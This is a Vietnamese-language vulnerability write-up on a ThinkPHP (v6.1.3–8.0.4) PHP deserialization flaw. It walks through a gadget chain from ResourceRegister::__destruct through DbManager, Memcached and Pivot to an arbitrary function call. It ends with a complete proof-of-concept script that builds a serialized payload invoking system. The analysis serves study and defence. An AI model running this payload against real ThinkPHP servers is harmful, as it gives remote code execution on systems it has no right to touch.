## Overview
**ThinkPHP deserialization vulnerability**
A deserialization vulnerability in Thinkphp v6.1.3 to v8.0.4 allows attackers to execute arbitrary code.
*https://github.com/advisories/GHSA-f4wh-359g-4pq7*
## PHP Deserialize
Qua mô tả có thể thấy thư viện này bị lỗi cho phép chạy bất kì code khi sử dụng hàm `unserialize()` mà không kiểm tra user input.
Mình sẽ dựng lại server với hàm `unserialize()` được control bởi user input.
```php=
public function index()
{
unserialize($_GET['x']);
return 'Indox';
}
```
Trong PHP, khi gọi hàm `unserialize()` một Object class, sẽ có Magic method được tự động gọi đến, là `__wakeup()` hoặc `__unserialize()`, hoặc cũng có thể là `__destruct()` bởi Object đã được gọi xong và Garbage collector gọi đến.
Dựa vào đây mình sẽ tìm các hàm ở trên để xem Class nào có thể khai thác khi deserialize.

Có khá ít nên có thể đọc từng cái để xem code làm những gì, các Class khác đều đi vào ngõ cụt và chỉ còn Class `ResourceRegister` có thể khai thác.
```php=
public function __destruct()
{
if (!$this->registered) {
$this->register();
}
}
```
Code sẽ check nếu chưa được regsiter thì tiếp tục gọi đến `ResourceRegister::register()`
```php=
protected function register()
{
$this->registered = true;
$this->resource->parseGroupRule($this->resource->getRule());
}
```
Hàm này gọi đến `resource->parseGroupRule()`, ở đây mình có thể control được `$this->resource` khi khởi tạo Class `ResourceRegister`, vậy mình có thể chỉnh nó thành một Class theo ý mình.
Tuy có thể tùy chỉnh Class theo ý thích nhưng mình lại không tìm được Class nào có hàm `parseGroupRule()` mà mình có thể khai thác được.
PHP có một Magic method được gọi đến khi ta sử dụng một method không tồn tại trong class đó, đó là `__call()`. Thay vì tìm hàm `parseGroupRule()` ban đầu, mình sẽ chuyển qua tìm trong các hàm `__call()` của những class khác.
Có class `DbManager` như sau
```php=
public function __call($method, $args)
{
return call_user_func_array([$this->connect(), $method], $args);
}
```
Hàm `__call()` trước khi chạy hàm `call_user_func_array` sẽ phải gọi đến hàm `DbManager::connect()` -> `DbManager::instance()`
```php=
protected function instance(string $name = null, bool $force = false): ConnectionInterface
{
if (empty($name)) {
$name = $this->getConfig('default', 'mysql'); # $this->config['default']
}
if ($force || !isset($this->instance[$name])) {
$this->instance[$name] = $this->createConnection($name);
}
return $this->instance[$name];
}
```
Trước tiên code sẽ gọi đến `DbManager::getConfig()` để lấy ra `$this->config[$key]` mà ở đây $key là `default`. Sau đó gọi đến `DbManager::createConnection()`
```php=
protected function createConnection(string $name): ConnectionInterface
{
$config = $this->getConnectionConfig($name); # $this->config['connections'][$name]
$type = !empty($config['type']) ? $config['type'] : 'mysql';
if (str_contains($type, '\\')) {
$class = $type;
} else {
$class = '\\think\\db\\connector\\' . ucfirst($type);
}
/** @var ConnectionInterface $connection */
$connection = new $class($config);
...
}
```
Biến `$connection` sẽ khởi tạo một class mới mà tên class này được lấy từ `$config['type']` với tham số là `$config`. Tất nhiên là 2 biến này mình đều có thể control được khi khởi tạo class `DbManager`.
Khi khởi tạo một class mới, PHP sẽ gọi đến Magic method `__construct()` để khởi tạo cho hàm đó theo param truyền vào. Lúc này chuyển hướng qua tìm các hàm `__construct()` của các class khác.
Vì bất kì class nào cũng đều định nghĩa hàm `__construct()` nên có khá nhiều class để tìm, có class `Memcached` như sau
```php=
public function __construct(array $options = [])
{
...
if (!empty($options)) {
$this->options = array_merge($this->options, $options);
}
$this->handler = new \Memcached;
...
if ('' != $this->options['username']) {
$this->handler->setOption(\Memcached::OPT_BINARY_PROTOCOL, true);
$this->handler->setSaslAuthData($this->options['username'], $this->options['password']);
}
}
```
Trước tiên code sẽ merge `$options` được truyền vào với biến `$this->options` có sẵn, sau đó sẽ so sánh `'' != $this->options['username']`.
Thoạt nhìn có vẻ bình thường nhưng lại tiếp tục là một Magic method nữa được gọi. Nếu như biến `$this->options['username']` không phải là một string thì PHP sẽ cố để ép kiểu nó qua string để có thể so sánh. Khi so sánh, PHP sẽ gọi đến hàm `__toString()` nếu nó được định nghĩa trong object.
Mình lại tiếp tục tìm các class có hàm `__toString()`. Có class `Pivot` được kế thừa từ abstract class `Models` sẽ gọi đến `__toString()` -> `toJson()` -> `toArray()` như sau
```php=
public function toArray(): array
{
...
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
...
} elseif (!isset($hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
...
}
```
Biến `$data` sẽ được merge từ `$this->data` và `$this->relation` sau đó loop qua các item của biến, tiếp tục gọi đến hàm `getAttr($key)`
```php=
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
```
Biến `$value` đơn giản là trả về giá trị của `$this->data[$fieldName]`, sau đó gọi đến hàm `getValue($name, $value)`
```php=
protected function getValue(string $name, $value, bool | string $relation = false)
{
$fieldName = $this->getRealFieldName($name);
...
if (isset($this->withAttr[$fieldName])) {
...
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
}
...
}
...
}
```
Code sẽ kiểm tra một số điều kiện với `$this->withAttr` và `$this->json`, tuy nhiên 2 biến này ta có thể control nên không vấn đề gì, nếu thỏa thì code sẽ gọi đến `getJsonValue($fieldName, $value)`
```php=
protected function getJsonValue(string $name, $value)
{
if (is_null($value)) {
return $value;
}
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key] ?? '', $value);
} else {
$value->$key = $closure($value->$key ?? '', $value);
}
}
return $value;
}
```
Đến đây đã là điểm cuối của chain, có thể thấy khá rõ ràng `$value[$key]` được gán giá trị là return value của một hàm. Trong đó mình có thể tùy chỉnh `$closure` cũng như `$value[$key]` để có thể gọi hàm và param theo ý mình.
### Tổng hợp lại gadget chain
`ResourceRegister::__destruct()` -> `ResourceRegister::register()`
-> `DbManager::__call()` -> `DbManager::connect()` -> `DbManager::instance($name, $force)` -> `DbManager::createConnection($name)`
-> `Memcached::__construct()`
-> `Models::__toString()` -> `Models::toJson()` -> `Models::toArray()`
-> `Models::getAttr($key)` -> `Models::getValue($name, $value, $relation)` -> `Models::getJsonValue($fieldName, $value)`
### Hmm
- Có thể trigger một function nguy hiểm khi so sánh object với string (`__toString()`)
- Có thể mở rộng code để tìm kiếm khi gọi đến một function không được định nghĩa (`__call()`)
:::spoiler ...
```php=1
<?php
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think;
abstract class Model {
protected $data = [
"dox" => ["id"]
];
protected $json = ["dox"];
protected $withAttr = [
"dox" => ["system"]
];
protected $jsonAssoc = true;
}
use think\model\Pivot;
class DbManager {
protected $config = [];
public function __construct() {
$this->config["default"] = "domdom";
$this->config["connections"] = [
"domdom" => [
"type" => "\\think\\cache\\driver\\Memcached",
"username" => new Pivot()
]
];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister {
protected $registered;
protected $resource;
public function __construct() {
$this->registered = false;
$this->resource = new DbManager();
}
}
$rr = new ResourceRegister();
$ser = serialize($rr);
echo(urlencode($ser));
```
:::